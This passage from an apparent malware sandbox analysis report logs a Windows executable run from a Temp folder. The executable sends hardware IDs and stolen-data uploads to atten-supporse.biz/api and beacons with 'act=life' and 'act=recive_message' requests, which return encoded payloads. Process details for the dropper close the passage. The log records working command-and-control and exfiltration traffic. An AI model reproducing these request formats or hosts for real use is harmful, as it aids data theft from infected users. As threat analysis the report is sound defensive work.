ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13110&min_rtt=13045&rtt_var=5023&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13762&delivery_rate=215180&cwnd=224&unsent_bytes=0&cid=2f315030756888f8&ts=984&x=0"
2024-12-09 14:30:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 14:30:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49976	172.67.165.166	443	7308	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:30:56 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MPJJ722A0R34S5PKN1K User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15089 Host: atten-supporse.biz
2024-12-09 14:30:56 UTC	15089	OUT	Data Raw: 2d 2d 4d 50 4a 4a 37 32 32 41 30 52 33 34 53 35 50 4b 4e 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 37 41 31 43 46 34 34 33 44 41 46 46 44 34 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4d 50 4a 4a 37 32 32 41 30 52 33 34 53 35 50 4b 4e 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 50 4a 4a 37 32 32 41 30 52 33 34 53 35 50 4b 4e 31 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --MPJJ722A0R34S5PKN1KContent-Disposition: form-data; name="hwid"D47A1CF443DAFFD423D904AF30EFEBBC--MPJJ722A0R34S5PKN1KContent-Disposition: form-data; name="pid"2--MPJJ722A0R34S5PKN1KContent-Disposition: form-data; name="lid"LOGS11--Li
2024-12-09 14:30:57 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:30:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nrjsvgmjrdhd0uji47mkv0lucj; expires=Fri, 04-Apr-2025 08:17:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iyQf5I%2FQNyQmeXt4hDmFNHup4K5DAHwbPt2Na8lE3Ug%2BlKzVwiztuDrK64%2BXkxIud2UMfk7kiS8u5ayZPTEgxSvOyezO7Si%2B%2B8HF9s3KY3LjUJdMVnZOe6HckO42dAc2SJ2BBxU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b22b4f93c46b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1465&min_rtt=1452&rtt_var=572&sent=12&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16032&delivery_rate=1869398&cwnd=223&unsent_bytes=0&cid=9bfd9e2db664cfac&ts=1260&x=0"
2024-12-09 14:30:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 14:30:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49984	172.67.165.166	443	7308	C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:30:59 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2V467QEWHY4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20531 Host: atten-supporse.biz
2024-12-09 14:30:59 UTC	15331	OUT	Data Raw: 2d 2d 32 56 34 36 37 51 45 57 48 59 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 34 37 41 31 43 46 34 34 33 44 41 46 46 44 34 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 56 34 36 37 51 45 57 48 59 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 32 56 34 36 37 51 45 57 48 59 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 56 34 36 37 51 45 57 48 59 34 Data Ascii: --2V467QEWHY4Content-Disposition: form-data; name="hwid"D47A1CF443DAFFD423D904AF30EFEBBC--2V467QEWHY4Content-Disposition: form-data; name="pid"3--2V467QEWHY4Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2V467QEWHY4
2024-12-09 14:30:59 UTC	5200	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: un 4F([:7s~X`nO`i
2024-12-09 14:31:00 UTC	1026	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:31:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sm96ern916bc5ut2kuu2ea2ql5; expires=Fri, 04-Apr-2025 08:17:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YE8S3NZDQYOv7a8BzaO3YCu8tVxtZor9QaeacHyasFNd%2FfMPmlDAclwESrwsLgZ8JagPt6ZgqnweuFh28Oo4EJfP%2B%2BkUik%2FqbcHDrqPYVX9bCZtN6GE%2Fa40dqyPjglcioV1o%2BsA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b23ead218c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1877&min_rtt=1847&rtt_var=753&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21488&delivery_rate=1398467&cwnd=175&unsent_bytes=0&cid=4b4d44584fe721bb&ts=1206&x=0"
2024-12-09 14:31:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-09 14:31:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.5	49989	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:31:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-09 14:31:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-09 14:31:03 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jhpv6dobrfjtbpqab1jqatr1tk; expires=Fri, 04-Apr-2025 08:17:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bbHa2IIcupCFzEqkPWQ0BPfw9DrX%2FC9%2FU5b9hDTngYOcWbOF1qJubVrXacVNdYL8x%2BKkJ2b2sonnUVKubHZ9KKrAYINv1BvpkWMa%2Fjfbd%2FhP%2B6mCACwRkq0xbsl3JguHktaV0No%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b2547ac4de9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1518&min_rtt=1477&rtt_var=637&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1613259&cwnd=178&unsent_bytes=0&cid=95f7fe2c5decc99b&ts=744&x=0"
2024-12-09 14:31:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-09 14:31:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49995	172.67.165.166	443

Timestamp	Bytes transferred	Direction	Data
2024-12-09 14:31:05 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-09 14:31:05 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-09 14:31:05 UTC	1022	IN	HTTP/1.1 200 OK Date: Mon, 09 Dec 2024 14:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fmvjb9smi9lci7kju6postcuju; expires=Fri, 04-Apr-2025 08:17:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lIddI%2FsWLF%2B8TSXaMWOSQdiwiPH%2Beuwt2gobkS67g9MMGe7TUR6eBQjsbXyZiLbOf0d7DJ8utsh0KdYMis7YtLhL4k%2FXjRAQNrRFIrSew54cy0hRVUgW%2F920Hs3jaCfS85R59GE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef5b2629958420a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=24212&min_rtt=1838&rtt_var=14075&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=955&delivery_rate=1588683&cwnd=251&unsent_bytes=0&cid=3686eae254a56ef4&ts=743&x=0"
2024-12-09 14:31:05 UTC	347	IN	Data Raw: 34 39 31 63 0d 0a 31 51 35 73 6d 6e 78 4b 43 77 48 4f 67 69 75 53 44 37 64 50 43 41 68 76 7a 72 6f 34 65 4d 34 79 51 2b 6c 41 7a 58 75 43 58 56 36 75 4c 42 71 34 52 6e 34 6e 49 37 33 6e 43 61 68 37 78 54 70 74 4a 45 32 76 33 68 70 43 71 46 4d 76 6d 69 58 68 57 66 51 77 66 4f 39 6f 44 66 59 50 4c 79 63 6a 71 2f 6f 4a 71 46 54 4d 62 57 31 6d 54 66 53 59 58 52 4b 73 55 79 2b 4c 49 61 59 55 38 6a 45 39 76 57 49 4c 38 68 6b 70 62 32 43 69 37 30 37 33 61 74 59 6c 5a 6d 45 43 70 74 63 61 56 4f 78 58 4f 63 74 36 37 7a 62 6e 4b 54 2b 59 62 78 2f 78 58 6a 63 6e 65 75 7a 6e 52 62 41 31 6c 53 35 74 61 67 4f 6f 33 6c 4d 51 70 6c 6f 6e 69 69 53 6e 43 2b 73 37 4e 72 31 73 43 50 4d 54 49 48 74 74 71 4f 68 46 38 57 44 57 62 53 51 71 43 72 53 59 41 6c 72 2f 59 69 4b 61 4d Data Ascii: 491c1Q5smnxKCwHOgiuSD7dPCAhvzro4eM4yQ+lAzXuCXV6uLBq4Rn4nI73nCah7xTptJE2v3hpCqFMvmiXhWfQwfO9oDfYPLycjq/oJqFTMbW1mTfSYXRKsUy+LIaYU8jE9vWIL8hkpb2Ci7073atYlZmECptcaVOxXOct67zbnKT+Ybx/xXjcneuznRbA1lS5tagOo3lMQploniiSnC+s7Nr1sCPMTIHttqOhF8WDWbSQqCrSYAlr/YiKaM
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 4f 38 73 43 50 59 66 4a 57 6c 78 70 4f 74 43 39 58 2f 65 4a 47 64 6e 44 61 48 53 56 52 6d 73 56 79 75 42 4c 61 55 64 37 54 49 36 74 32 78 4f 74 6c 34 76 63 53 50 30 6f 47 72 31 66 64 49 68 66 43 67 33 37 4d 63 55 41 2b 78 58 4c 63 74 36 37 78 48 6c 50 44 2b 38 59 77 33 77 46 54 70 70 63 61 72 74 54 4f 4a 72 30 43 4e 67 61 52 2b 6d 31 6c 77 5a 70 56 73 6f 6a 69 57 72 57 61 35 2f 4f 36 38 73 56 72 67 2f 4a 57 4a 76 70 76 64 4a 73 48 4b 62 4e 43 70 74 41 65 79 41 47 68 36 74 56 43 43 50 4c 4b 45 64 37 44 6b 79 75 6d 4d 49 38 68 34 76 59 32 75 6b 34 55 54 37 59 74 55 6f 5a 32 34 4c 6f 4e 6c 66 57 75 49 51 4a 70 4e 69 39 31 6e 4f 4f 44 2b 6c 4c 6a 76 37 45 43 5a 75 64 65 7a 2f 42 2b 6b 74 30 69 45 71 4d 6b 32 69 33 56 55 49 72 55 49 6b 68 54 43 6a 48 4f 59 79 Data Ascii: O8sCPYfJWlxpOtC9X/eJGdnDaHSVRmsVyuBLaUd7TI6t2xOtl4vcSP0oGr1fdIhfCg37McUA+xXLct67xHlPD+8Yw3wFTppcartTOJr0CNgaR+m1lwZpVsojiWrWa5/O68sVrg/JWJvpvdJsHKbNCptAeyAGh6tVCCPLKEd7DkyumMI8h4vY2uk4UT7YtUoZ24LoNlfWuIQJpNi91nOOD+lLjv7ECZudez/B+kt0iEqMk2i3VUIrUIkhTCjHOYy
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 76 37 45 43 5a 75 64 65 7a 2f 42 2b 6b 74 30 69 45 71 4d 6b 32 68 30 46 38 66 6f 31 45 72 68 53 65 6c 46 65 67 78 50 36 56 6a 43 76 67 53 49 47 4e 75 6f 75 52 42 2b 57 62 65 4b 32 70 72 42 2b 79 57 47 68 32 30 45 48 6e 4c 46 71 67 56 37 54 42 2b 67 6d 38 41 39 68 6b 2b 4b 58 7a 69 2b 51 6e 33 59 5a 56 31 4b 6d 59 45 72 4e 4e 51 48 71 78 58 4c 49 34 68 71 42 72 74 4f 44 61 35 61 77 72 30 46 79 56 76 59 36 76 6b 54 4f 4a 6f 33 43 46 6d 4b 6b 50 73 33 30 4a 61 39 42 41 4f 6a 44 53 73 4e 75 4d 75 4e 66 64 7a 51 4f 46 65 4c 32 55 6a 39 4b 42 4f 39 57 58 65 4b 32 4a 71 48 36 6e 57 55 52 75 6d 56 69 43 47 4c 71 6b 5a 34 54 38 36 75 32 77 4a 2f 77 77 36 62 47 57 2b 36 67 6d 2b 4c 64 49 31 4b 6a 4a 4e 6d 73 68 4e 43 37 6f 53 46 49 67 73 6f 52 37 32 66 79 50 35 64 Data Ascii: v7ECZudez/B+kt0iEqMk2h0F8fo1ErhSelFegxP6VjCvgSIGNuouRB+WbeK2prB+yWGh20EHnLFqgV7TB+gm8A9hk+KXzi+Qn3YZV1KmYErNNQHqxXLI4hqBrtODa5awr0FyVvY6vkTOJo3CFmKkPs30Ja9BAOjDSsNuMuNfdzQOFeL2Uj9KBO9WXeK2JqH6nWURumViCGLqkZ4T86u2wJ/ww6bGW+6gm+LdI1KjJNmshNC7oSFIgsoR72fyP5d
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 6e 59 33 47 6b 37 6b 54 37 59 74 34 2f 61 6d 63 4a 6f 4e 78 53 45 61 59 51 62 38 73 6c 74 31 6d 34 66 77 6d 36 59 77 37 37 43 47 68 32 4c 62 57 67 54 76 77 74 6a 57 31 6d 5a 41 32 6a 31 46 59 52 70 46 45 74 68 53 57 71 45 4f 67 33 4c 72 5a 6f 42 76 6b 51 4a 32 68 6e 71 65 56 4e 39 32 6e 54 49 69 6f 6b 54 61 76 41 47 6b 4c 73 66 77 61 2b 59 49 34 6a 6f 43 42 79 72 69 77 4a 39 46 35 77 4b 57 2b 76 37 45 48 2f 61 39 77 68 59 47 4d 47 6f 4e 4e 65 46 71 56 56 4a 34 6f 6e 71 68 6a 6b 4d 7a 61 78 62 77 33 33 45 53 64 68 49 2b 4b 67 54 75 67 74 6a 57 31 50 66 51 61 69 33 68 6f 46 34 6b 6c 68 6a 43 37 76 51 61 41 7a 4e 62 46 71 43 2f 51 66 4c 6d 46 6d 70 4f 52 49 39 6d 76 57 49 6d 35 76 44 4b 50 63 56 68 53 6d 55 53 43 48 4b 61 41 53 35 58 39 79 39 32 73 57 75 45 Data Ascii: nY3Gk7kT7Yt4/amcJoNxSEaYQb8slt1m4fwm6Yw77CGh2LbWgTvwtjW1mZA2j1FYRpFEthSWqEOg3LrZoBvkQJ2hnqeVN92nTIiokTavAGkLsfwa+YI4joCByriwJ9F5wKW+v7EH/a9whYGMGoNNeFqVVJ4onqhjkMzaxbw33ESdhI+KgTugtjW1PfQai3hoF4klhjC7vQaAzNbFqC/QfLmFmpORI9mvWIm5vDKPcVhSmUSCHKaAS5X9y92sWuE
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 6f 4f 64 4d 2b 32 4c 5a 62 53 51 71 43 72 53 59 41 6c 71 43 57 7a 4b 63 49 61 45 53 39 69 52 38 71 43 49 58 75 42 6b 6b 4b 54 76 73 34 30 4c 37 61 64 55 68 61 6d 34 41 72 4d 70 56 48 61 74 5a 4b 70 6b 6f 71 42 37 72 4e 7a 65 34 61 68 7a 30 45 44 70 73 63 62 36 67 42 37 42 71 7a 57 30 79 4b 6a 75 72 79 45 6f 5a 37 6d 45 33 69 44 53 6b 46 4f 78 2f 49 2f 6c 31 54 76 38 53 61 44 45 6a 71 75 39 41 38 32 4c 55 4a 47 5a 6e 43 4b 58 64 57 78 79 6f 57 69 75 4c 4a 4b 6b 59 35 54 55 2f 74 6d 59 48 2f 78 59 76 61 6e 48 73 72 67 6e 33 64 5a 56 31 4b 6b 4d 4b 76 74 5a 4b 57 72 4d 65 4f 4d 73 6c 6f 31 6d 34 66 7a 69 39 59 77 72 2f 45 69 35 73 5a 61 48 68 52 76 46 74 32 69 6c 68 59 77 75 74 31 56 38 58 71 45 49 72 67 43 32 6a 45 4f 77 79 66 50 6b 73 43 65 42 65 63 43 6c Data Ascii: oOdM+2LZbSQqCrSYAlqCWzKcIaES9iR8qCIXuBkkKTvs40L7adUham4ArMpVHatZKpkoqB7rNze4ahz0EDpscb6gB7BqzW0yKjuryEoZ7mE3iDSkFOx/I/l1Tv8SaDEjqu9A82LUJGZnCKXdWxyoWiuLJKkY5TU/tmYH/xYvanHsrgn3dZV1KkMKvtZKWrMeOMslo1m4fzi9Ywr/Ei5sZaHhRvFt2ilhYwut1V8XqEIrgC2jEOwyfPksCeBecCl
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 66 31 6e 78 79 64 68 62 77 43 68 31 56 6b 63 71 6c 73 74 6d 53 75 76 47 75 74 2f 63 76 64 72 46 72 68 47 61 45 70 30 75 75 70 4f 2f 48 76 65 4c 47 6c 38 41 4c 79 59 46 46 71 39 56 7a 44 4c 65 72 6b 4a 39 7a 67 6a 2b 58 56 4f 2f 78 4a 6f 4d 53 4f 71 36 55 2f 33 61 39 73 2f 62 32 77 43 6f 39 46 54 48 71 52 54 49 59 38 6d 71 42 7a 6a 4d 7a 65 77 62 77 48 38 46 79 5a 67 62 4f 79 75 43 66 64 31 6c 58 55 71 53 78 61 76 31 46 64 61 73 78 34 34 79 79 57 6a 57 62 68 2f 4d 4c 6c 70 44 76 49 59 4c 47 78 6c 70 75 56 4a 2b 32 37 61 4b 57 78 75 41 71 7a 54 55 78 75 71 56 53 75 41 4a 4b 49 61 35 6a 6c 38 2b 53 77 4a 34 46 35 77 4b 55 4f 33 37 55 58 33 4c 63 70 6a 63 79 6f 4b 6f 4a 67 43 57 71 64 63 4a 59 77 69 6f 68 72 6f 4f 6a 69 39 61 51 37 77 44 43 42 70 5a 4c 37 79 Data Ascii: f1nxydhbwCh1VkcqlstmSuvGut/cvdrFrhGaEp0uupO/HveLGl8ALyYFFq9VzDLerkJ9zgj+XVO/xJoMSOq6U/3a9s/b2wCo9FTHqRTIY8mqBzjMzewbwH8FyZgbOyuCfd1lXUqSxav1Fdasx44yyWjWbh/MLlpDvIYLGxlpuVJ+27aKWxuAqzTUxuqVSuAJKIa5jl8+SwJ4F5wKUO37UX3LcpjcyoKoJgCWqdcJYwiohroOji9aQ7wDCBpZL7y
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 56 31 4b 6c 52 4e 76 74 74 4b 47 61 4e 42 48 38 74 36 74 69 65 67 4e 43 71 77 66 41 33 75 46 53 56 6c 63 70 4b 67 45 61 51 2f 68 33 38 34 4f 42 4c 73 78 32 56 55 37 46 46 68 30 78 75 32 57 66 5a 2f 5a 4f 55 69 54 75 70 65 63 43 6b 6b 72 2f 4a 62 39 6d 37 44 4c 69 31 55 4d 34 76 4f 55 42 32 38 56 7a 61 45 59 75 46 5a 37 33 39 6b 6a 69 77 48 2f 77 55 35 66 32 36 38 35 77 6e 50 49 35 55 31 4b 6a 4a 4e 6d 64 74 55 46 4b 74 47 4d 4d 59 46 75 52 50 6e 4c 7a 75 67 59 30 36 32 58 69 34 70 4f 2f 2b 75 43 66 52 38 6c 58 55 36 4f 46 62 35 69 77 31 4b 2f 6b 39 76 6b 6d 4b 35 57 62 68 74 63 76 64 2b 54 71 42 65 62 32 70 78 76 75 5a 4b 35 6d 36 53 45 31 52 4e 46 36 48 65 54 51 75 53 62 69 61 52 4c 36 6b 4f 38 58 4d 70 74 47 49 41 2f 77 68 6f 4a 79 4f 6a 6f 42 48 4a 4c Data Ascii: V1KlRNvttKGaNBH8t6tiegNCqwfA3uFSVlcpKgEaQ/h384OBLsx2VU7FFh0xu2WfZ/ZOUiTupecCkkr/Jb9m7DLi1UM4vOUB28VzaEYuFZ739kjiwH/wU5f2685wnPI5U1KjJNmdtUFKtGMMYFuRPnLzugY062Xi4pO/+uCfR8lXU6OFb5iw1K/k9vkmK5Wbhtcvd+TqBeb2pxvuZK5m6SE1RNF6HeTQuSbiaRL6kO8XMptGIA/whoJyOjoBHJL
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 71 56 66 79 4b 41 55 2f 2f 42 33 48 5a 50 65 45 41 6f 43 6c 38 37 7a 35 41 75 41 78 6f 4d 53 50 72 34 31 76 69 61 39 59 37 61 53 30 7a 6b 76 39 55 48 61 31 47 4d 5a 77 74 6b 53 66 31 50 44 4b 35 61 78 6a 70 58 6d 59 70 62 4f 79 34 63 4c 41 6c 6c 52 49 6b 4b 68 58 73 67 42 6f 76 72 31 34 76 6a 44 53 2b 56 4d 63 78 4f 37 5a 36 48 75 38 52 61 43 63 6a 71 71 41 52 6f 69 4f 56 4b 58 73 71 56 66 79 4b 41 55 2f 2f 42 33 48 5a 50 65 45 41 6f 43 6c 38 37 7a 35 41 75 41 78 6f 4d 53 50 72 34 31 76 69 61 39 59 37 61 53 30 7a 6b 76 39 55 48 61 31 47 4d 5a 77 74 34 44 66 57 48 67 4b 4a 65 51 33 32 45 43 39 2f 63 75 79 75 43 66 38 74 6a 52 51 71 49 6b 32 54 6c 68 6f 43 37 41 68 68 76 69 47 68 46 2b 63 70 4c 66 70 4c 41 50 38 66 50 6e 6c 30 6f 36 39 6e 78 6b 79 56 59 79 Data Ascii: qVfyKAU//B3HZPeEAoCl87z5AuAxoMSPr41via9Y7aS0zkv9UHa1GMZwtkSf1PDK5axjpXmYpbOy4cLAllRIkKhXsgBovr14vjDS+VMcxO7Z6Hu8RaCcjqqARoiOVKXsqVfyKAU//B3HZPeEAoCl87z5AuAxoMSPr41via9Y7aS0zkv9UHa1GMZwt4DfWHgKJeQ32EC9/cuyuCf8tjRQqIk2TlhoC7AhhviGhF+cpLfpLAP8fPnl0o69nxkyVYy
2024-12-09 14:31:05 UTC	1369	IN	Data Raw: 79 46 30 6b 6b 6e 30 7a 6a 44 4b 73 57 39 45 70 50 37 64 69 43 62 68 51 61 48 45 6a 39 4b 42 6b 34 6d 72 46 4c 69 6f 6b 54 61 43 59 41 6c 71 68 51 69 61 62 49 65 4d 65 2b 6a 68 38 71 43 49 58 75 41 68 6f 4d 54 44 69 6f 46 75 77 4e 5a 56 71 5a 47 63 4d 72 39 5a 5a 43 4c 35 57 49 70 30 68 36 43 66 65 45 69 36 77 66 41 32 36 4c 79 56 74 64 62 6e 6a 57 66 64 54 36 77 42 34 62 52 32 76 6d 6e 59 64 6f 56 77 66 74 52 57 2b 48 76 42 39 47 72 52 36 44 62 68 51 61 48 45 6a 39 4b 42 6b 34 6d 72 46 4c 69 68 47 43 71 48 55 47 67 58 69 53 57 47 64 59 76 64 4b 72 6e 38 75 39 7a 52 4f 76 78 30 36 65 32 57 76 39 6b 71 33 55 2b 73 41 65 47 30 64 72 35 70 72 46 36 68 47 4e 49 67 79 71 43 66 65 45 69 36 77 66 41 32 36 4f 78 49 72 55 72 72 6a 53 66 35 71 6c 57 4d 71 63 6b 33 Data Ascii: yF0kkn0zjDKsW9EpP7diCbhQaHEj9KBk4mrFLiokTaCYAlqhQiabIeMe+jh8qCIXuAhoMTDioFuwNZVqZGcMr9ZZCL5WIp0h6CfeEi6wfA26LyVtdbnjWfdT6wB4bR2vmnYdoVwftRW+HvB9GrR6DbhQaHEj9KBk4mrFLihGCqHUGgXiSWGdYvdKrn8u9zROvx06e2Wv9kq3U+sAeG0dr5prF6hGNIgyqCfeEi6wfA26OxIrUrrjSf5qlWMqck3

Target ID:	0
Start time:	09:28:52
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x2f0000
File size:	1'818'112 bytes
MD5 hash:	426C4CC5CC662DBF06C9232C69E5D989
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
